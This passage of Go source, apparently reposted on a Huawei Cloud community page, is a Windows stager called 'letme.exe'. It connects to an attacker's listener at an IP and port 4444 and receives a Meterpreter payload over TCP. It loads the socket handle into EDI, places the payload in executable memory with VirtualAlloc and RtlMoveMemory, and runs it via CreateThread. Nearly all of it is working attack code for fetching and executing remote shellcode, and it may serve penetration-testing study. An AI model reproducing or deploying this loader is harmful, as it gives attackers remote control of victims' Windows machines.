	fmt.Println("C:\\> letme.exe 192.168.0.66:4444")
	os.Exit(1)
}

// Helper function to get net.Conn's underlying socket descriptor
func GetFdFromConn(conn net.Conn) (fd uint) {
	v := reflect.ValueOf(conn)
	netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd"))
	pfd := reflect.Indirect(netFD.FieldByName("pfd"))
	fd = uint(pfd.FieldByName("Sysfd").Uint())
	return
}

// Receive a Meterpreter payload via TCP
func receivePayload(conn net.Conn) (payload []byte, err error) {
	r := bufio.NewReader(conn)

	// Read the 4-byte payload length and allocate payload buffer
	tmp := make([]byte, 4)
	if _, err = io.ReadFull(r, tmp); err != nil {
		return
	}
	length := binary.LittleEndian.Uint32(tmp[:])
	payload = make([]byte, length+5)

	// Prepend some ASM to MOV the socket handle into EDI
	// MOV EDI, 0x12345678 ; BF 78 56 34 12
	fd := GetFdFromConn(conn)
	payload[0] = 0xbf
	binary.LittleEndian.PutUint32(payload[1:5], uint32(fd))

	// Download the Meterpreter payload
	if _, err = io.ReadFull(r, payload[5:]); err != nil {
		return
	}
	return
}

// Execute a Windows payload
func execPayload(payload []byte) {
	const (
		MEM_COMMIT  = 0x1000
		MEM_RESERVE = 0x2000
		INFINITE    = 0xffffffff
	)

	// Allocate a RWX memory region
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	_VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)

	// Copy the payload
	_RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
	_RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)))

	// Execute the payload
	_CreateThread := kernel32.MustFindProc("CreateThread")
	th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0)

	// Wait for the thread to finish running
	_WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	_WaitForSingleObject.Call(th, INFINITE)
}
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。